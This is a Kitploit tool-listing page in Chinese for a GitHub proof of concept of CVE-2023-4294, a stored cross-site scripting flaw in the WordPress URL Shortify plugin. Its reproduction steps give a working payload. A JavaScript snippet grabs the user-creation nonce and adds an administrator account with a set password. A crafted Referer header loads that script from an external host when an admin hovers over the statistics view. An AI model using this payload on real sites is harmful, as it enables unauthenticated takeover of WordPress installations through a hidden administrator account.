Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-4294 — Repository for CVE-2023-4294 vulnerability. | Kitploit
工具/GitHubGitHub/b0marek/cve-2023-4294
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & Education
GitHubb0marek/cve-2023-4294

CVE-2023-4294

Repository for CVE-2023-4294 vulnerability.

查看仓库
2年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE ID: CVE-2023-4294

漏洞类型: 跨站脚本 (Cross-Site Scripting)

描述: WordPress 的 URL Shortify 插件版本至 1.7.5(含)存在存储型跨站脚本漏洞,原因是通过 referrer 头传递的数据未进行充分的输入清理和输出转义。这使得未认证的攻击者能够在页面中注入任意 Web 脚本,当用户访问被注入的页面时脚本会执行。

复现步骤:

root@kitploit:~
1. 在界面 <host>/wp-admin/admin.php?page=us_links&action=new 中添加一个新的短链接,本例中为:
<host>/mr83

2. 准备一段 JavaScript 代码,该代码将自动向网站添加具有管理员权限的新用户,并将其托管在外部资源上,例如 html.cafe。

const url = 'https://<host>/wp-admin/user-new.php';fetch(url).then(response => response.text()).then(html => {const parser = new DOMParser();const doc = parser.parseFromString(html, 'text/html');const nonceValue = doc.getElementById('_wpnonce_create-user').value;const requestOptions = {method: 'POST',headers: {'Content-Type': 'application/x-www-form-urlencoded'},body: `action=createuser&_wpnonce_create-user=${encodeURIComponent(nonceValue)}&_wp_http_referer=%2Fwp-admin%2Fuser-new.php&user_login=administrator&email [email protected]&first_name=&last_name=&url=&pass1=O%21k6c5%5EfjO%5E1sF%26%24%21%26V2PG9e&pass2=O%21k6c5%5EfjO%5E1sF%26%24%21%26V2PG9e&send_user_notification=0&role=admin &ure_other_roles=&createuser =Add+New+User`};return fetch(url, requestOptions);});

3. 发送带有精心构造的 Referer 头值的请求。

GET /mr83 HTTP/1.1
Host: <host>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Referer: https://example.com'abc=""onmouseover='var scriptElement=document.createElement(`script`);scriptElement.src=`https://html.cafe/x…d`;document.head .appendChild(scriptElement);
Connection: close

4. 等待管理员与已创建链接的统计信息中易受攻击的“Referer”字段交互。
<host>/wp-admin/admin.php?page=us_links&action=statistics&_wpnonce=5252159b66&id=1

5. 登录到新创建的管理员账户。

参考:

  1. https://wpscan.com/vulnerability/1fc71fc7-861a-46cc-a147-1c7ece9a7776
  2. https://www.cve.org/CVERecord?id=CVE-2023-4294
  3. https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/url-shortify/url-shortify-175-unauthenticated-stored-cross-site-scripting-via-referrer-header
下载工具